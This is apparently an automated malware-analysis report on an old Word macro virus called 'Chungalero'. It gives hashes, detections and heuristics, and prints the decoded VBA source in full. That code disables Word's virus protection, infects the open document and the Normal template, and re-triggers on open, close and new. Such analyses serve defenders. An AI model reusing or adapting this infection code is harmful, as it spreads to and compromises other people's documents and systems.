Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 82a7caef03179b3b…

MALICIOUS

Office (OLE)

68.0 KB Created: 2000-03-13 13:23:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e4f5e1acc88d770dc80a48675ec714a5 SHA-1: 767562d2d077d9d04b77a8342e643e3047562200 SHA-256: 82a7caef03179b3b7ca6da737aac90dbbd1d89248167d10a857576fa3d0d1cee
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file is a legacy Word document containing VBA macros, specifically an AutoOpen macro named 'Chungalero'. This macro is designed to infect the current document and the Normal.dotm template, indicating a self-propagating malware behavior. The ClamAV detection 'Doc.Trojan.Galero-2' further supports its malicious nature, although the specific family is not immediately identifiable from the provided evidence.

Heuristics 5

  • ClamAV: Doc.Trojan.Galero-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Galero-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2478 bytes
SHA-256: 282e964c65237cea3990e043b0b8a43a99d8f7c10dc19e0dc5e4b13d9552063e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Chungalero"
Sub AutoOpen()
'
' AutoOpen Macro
' ChungaleWare Inc. V1 La Venganza!!!


On Error GoTo Chungalero

    Application.ScreenUpdating = False
    Application.DisplayAlerts = wdAlertsNone

    WordBasic.DisableAutoMacros 0
    Options.VirusProtection = False

    'Set ActiveDoc = ActiveDocument
    'Set GlobalDoc = NormalTemplate


If Not DocInfectado() Then
    InfectarDoc
End If

If Not NormalInfectado() Then
    InfectarNormal
End If

Call FaKeJoker

Chungalero:
End Sub
Private Sub InfectarDoc()
On Error GoTo InfecDocError
    
    Application.OrganizerCopy Source:=NormalTemplate.FullName, _
    Destination:=ActiveDocument.FullName, Name:="Chungalero", _
    Object:=wdOrganizerObjectProjectItems

InfecDocError:
End Sub
Private Sub InfectarNormal()
On Error GoTo InfecDocError

    Application.OrganizerCopy Source:=ActiveDocument.FullName, _
    Destination:=NormalTemplate.FullName, Name:="Chungalero", _
    Object:=wdOrganizerObjectProjectItems
    Options.SaveNormalPrompt = False

InfecDocError:
End Sub
Public Function DocInfectado()
On Error GoTo DocInfectError
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(i).Name = "Chungalero" Then
            DocInfectado = True
        End If
Next

DocInfectError:
End Function

Public Function NormalInfectado()

On Error GoTo NormalInfectError
For J = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(J).Name = "Chungalero" Then
            NormalInfectado = True
        End If
Next


NormalInfectError:
End Function

Sub FaKeJoker()
On Error GoTo FaKeError
    Dim Dia
    Dim Hora
    Dim Fecha, FechaFinal
    FechaFinal = #12/18/98#
    Dia = Day(Now())
    Hora = Hour(Now())
    If FechaFinal = Date Then
        Chungale
    End If
    Fecha = FechaFinal - Date
    
    
FaKeError:
End Sub

Sub Chungale()
On Error GoTo ChungaleError

ChungaleError:
End Sub

Sub AutoClose()
On Error GoTo ErrorClose

Call AutoOpen

ErrorClose:
End Sub

Sub AutoNew()
On Error GoTo ErrorNew

Call AutoOpen

ErrorNew:
End Sub